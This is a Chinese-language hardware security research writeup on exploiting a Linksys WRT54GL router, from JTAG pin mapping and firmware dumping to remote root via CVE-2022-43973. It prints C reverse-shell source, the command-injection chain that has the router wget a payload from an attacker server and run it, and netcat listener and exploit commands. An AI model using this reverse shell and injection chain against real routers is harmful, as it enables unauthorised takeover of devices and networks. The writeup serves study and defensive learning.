从焊接到 Shell：Linksys WRT54GL 路由器的完整硬件漏洞利用(CVE-2022-43973)

一段 10 阶段的嵌入式安全研究之旅——从 JTAG 引脚识别到在基于 MIPS 的消费级路由器上实现远程代码执行。

免责声明： 本研究仅出于教育和研究目的，在本人自有硬件上进行。未访问任何未经授权的系统。本文所述的所有技术只能在您拥有或获得明确书面授权测试的设备上复现。作者对本文信息的任何滥用不承担任何责任。请始终遵守适用的法律、法规和负责任披露准则。

目录

• 执行摘要
• 目标设备概述
• 第 1–2 阶段：硬件侦察与引脚识别
• 第 3–4 阶段：JTAG 调试与固件提取
• 第 5–6 阶段：固件分析与仿真
• 第 7 阶段：漏洞研究 — CVE-2022-43973
• 第 8 阶段：载荷开发 — MIPS 反向 Shell
• 第 9 阶段：漏洞利用投递与 Root Shell
• 第 10 阶段：网络与会话分析
• 工具与技术
• 关键要点
• 参考资料
• 详细文档
• 许可证

执行摘要

• 目标： Linksys WRT54GL v1.1 —— 基于 Broadcom BCM5352 芯片组(MIPS 32 位架构)的广泛部署的消费级路由器
• 漏洞： CVE-2022-43973 —— 通过 HTTP 管理界面中的命令注入实现远程代码执行
• 范围： 跨越 10 个阶段的完整硬件到软件漏洞利用链，从物理 JTAG 访问到远程 root shell
• 结果： 通过自定义 MIPS 反向 Shell 载荷获得完整的远程 root shell
• 工具： JTAGulator、Attify Badge、OpenOCD、Ghidra、binwalk、FirmAE、带 Broadcom MIPS 交叉编译工具链的 Docker

目标设备概述

Linksys WRT54GL 是有史以来最具标志性的消费级路由器之一。它对开源固件的支持使其深受爱好者和研究人员的青睐。尽管年代久远，它仍在全球范围内广泛使用，使其成为嵌入式安全研究的相关目标。

第 1–2 阶段：硬件侦察与引脚识别

任何硬件安全评估的第一步都是物理检查。打开设备外壳后，我在 PCB 上识别出两个调试接口：

• 一个用于硬件级调试的 12 引脚 JTAG 接口(未焊接)
• 一个以 3.3V TTL 电平工作的 10 引脚串行(UART)端口

由于 JTAG 接口未焊接，我焊接了一个临时排针以访问调试接口。使用万用表，我识别了接地和 Vcc 线路，并确认目标设备以 3.3V 逻辑电平工作——这对于避免损坏芯片组至关重要。

使用 JTAGulator 进行 JTAG 引脚识别

为映射 JTAG 信号，我使用了 Grand Idea Studio 的 JTAGulator——一种通过探测所有可能的引脚组合来自动识别调试接口的硬件工具。

JTAGulator 成功识别出以下 JTAG 引脚定义：

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

第 3–4 阶段：JTAG 调试与固件提取

在识别出 JTAG 引脚后，我将一个 Attify Badge——一款采用 FTDI FT2232H 芯片的开源硬件安全评估工具(GNU GPL v3.0)——连接到路由器的 JTAG 接口。

我启动了 OpenOCD(开放片上调试器)，并使用为 BCM5352 目标定制的配置，因为官方配置与此特定硬件版本不兼容。

闪存布局

自定义 OpenOCD 配置定义了路由器的闪存分区布局：

固件转储

在使 CPU 暂停后，我对内存映射的 NOR 闪存执行了完整的 4 MB 转储：

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

第 5–6 阶段：固件分析与仿真

使用 binwalk 进行静态分析

使用 binwalk，我分析了固件转储文件，以识别嵌入式文件系统、压缩段和内核镜像：

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # entropy analysis
sha256sum ./dumps/wrt54gl.bin     # integrity verification

分析揭示了一个 SquashFS 根文件系统，其中包含基于 BusyBox 的标准 Linux 环境。我使用 binwalk -e 和 unsquashfs 将其提取出来以进行更深入的分析。

使用 FirmAE 进行固件仿真

为了创建安全的测试环境，我使用 FirmAE——一个支持 MIPS 架构的自动化固件仿真框架——搭建了固件仿真环境。这使我能够在虚拟环境中复现路由器的服务(HTTP、telnet)，并在不对物理设备造成风险的情况下测试漏洞利用。

第 7 阶段：漏洞研究 — CVE-2022-43973

使用带 MIPS 反编译器插件的 Ghidra(NSA 的逆向工程框架)，我对提取的固件二进制文件进行了静态分析，以确认 CVE-2022-43973 的存在。

漏洞详情

该漏洞存在于路由器的 CGI 请求处理器中。/apply.cgi 端点中的 ui_language 表单字段接受任意输入而无需净化。通过注入以 ;cmd; 语法包裹的 shell 命令，攻击者可以暂存命令，这些命令随后会在通过 /upgrade.cgi 触发固件升级时被执行。

受影响的固件版本：

• v4.30.18(最新)——需要基于会话的身份验证
• v4.30.16(较旧)——仅使用 HTTP 基本身份验证

第 8 阶段：载荷开发 — MIPS 反向 Shell

我用 C 语言开发了一个自定义反向 Shell，专为路由器的 MIPS 架构而构建。该载荷建立回连攻击者的 TCP 连接，将所有标准文件描述符重定向到套接字，并生成一个交互式 Shell：

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

使用 Docker 进行交叉编译

为了将载荷编译为目标架构，我构建了一个可复现的 Docker 环境，其中包含 Broadcom MIPS 交叉编译工具链(hndtools-mipsel-linux-3.2.3)，该工具链来自官方 Linksys GPL 版本(WRT54GL-ETSI_v4.30.18.006)：

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

生成的二进制文件采用静态链接以确保可移植性——目标设备上无共享库依赖。

第 9 阶段：漏洞利用投递与 Root Shell

我开发了一个 Python 漏洞利用框架，通过利用 CVE-2022-43973 自动化整个攻击链。该漏洞利用执行一个 4 步序列，每一步都通过 ui_language 参数作为命令注入：

攻击序列

1. 上传载荷 — 注入 wget 命令，从攻击者的 HTTP 服务器下载 MIPS 反向 Shell 二进制文件到路由器的 /tmp/X
2. 设置权限 — 注入 chmod +x /tmp/X 使二进制文件可执行
3. 执行载荷 — 注入 /tmp/X <attacker_ip> <port> 以启动反向 Shell
4. 清理 — 将 ui_language 重置为其默认值(en)

每个命令都以 ;cmd; 形式包裹在 ui_language 字段中，并通过 POST /apply.cgi 发送。随后的 POST /upgrade.cgi 会触发执行。

执行

在攻击者的机器上，需要三个终端：

# Terminal 1: Serve the reverse shell binary
python -m http.server 8000

# Terminal 2: Listen for the incoming reverse shell
nc -lvnp 4141

# Terminal 3: Launch the exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

结果：Root Shell

反向 Shell 回连到攻击者的 Netcat 监听器，在路由器上提供一个交互式 root shell。

第 10 阶段：网络与会话分析

为验证完整的漏洞利用链，我在攻击期间使用 Wireshark 捕获了网络流量。分析确认了：

• 对 /apply.cgi 和 /upgrade.cgi 的正确 HTTP POST 注入序列
• 通过 wget 从攻击者的 HTTP 服务器成功下载载荷
• 在端口 4141 上建立了反向 Shell TCP 连接
• 会话 Cookie 和身份验证流程的完整性

工具与技术

关键要点

1. 物理访问是一种强大的攻击向量。 JTAG 提供绕过所有软件安全机制的 root 级硬件访问。部署嵌入式设备的组织应考虑物理安全控制，并在生产固件中禁用调试接口。

2. 固件提取是基础。 转储和分析固件可以揭示完整的软件栈——包括硬编码凭据、配置数据以及仅从网络角度不可见的易受攻击的代码路径。

3. 仿真使安全、可重复的研究成为可能。 像 FirmAE 这样的工具允许研究人员在虚拟环境中复现设备行为，从而实现迭代测试，而无需冒物理硬件风险或触发意外后果。

4. 简单的输入验证失败会产生严重影响。 CVE-2022-43973 展示了 Web 界面中一个未经净化的表单字段如何导致设备被完全入侵并获得 root 级访问权限。纵深防御——输入验证、最小权限和安全编码实践——仍然至关重要。

5. 可复现的工具链很重要。 基于 Docker 的交叉编译环境确保载荷和工具可以被可靠地重建，使研究结果可验证、可共享。

6. 遗留设备构成持续风险。 WRT54GL 在全球范围内仍被积极使用。不再接收安全更新的生命周期结束设备对网络安全构成持续威胁。

参考资料

漏洞

• CVE-2022-43973 — NVD：https://nvd.nist.gov/vuln/detail/CVE-2022-43973
• CVE-2022-43973 — MITRE：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

硬件工具

• Attify Badge — https://docs.attify.com/(GNU GPL v3.0)
• JTAGulator — Grand Idea Studio：https://github.com/grandideastudio/jtagulator
• JTAG 标准 — IEEE 1149.1(标准测试访问端口与边界扫描架构)

软件工具

• OpenOCD — https://openocd.org/
• Ghidra — https://ghidra-sre.org/
• FirmAE — https://github.com/pr0v3rbs/FirmAE
• Firmadyne — https://github.com/firmadyne/firmadyne
• binwalk — https://github.com/ReFirmLabs/binwalk

厂商

• Linksys WRT54GL 固件 — https://www.linksys.com/us/support-article?articleNum=148648
• Linksys GPL 工具链 — https://www.linksys.com/us/support-article?articleNum=114663

详细文档

有关深入的技术细节，请参阅以下文档：

许可证

本项目采用 MIT 许可证 授权——详情请参阅 LICENSE 文件。

如果复刻 Attify 或 JTAGulator 的原理图，请遵循其各自的许可证(Attify 组件为 GNU GPL v3.0)。

Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec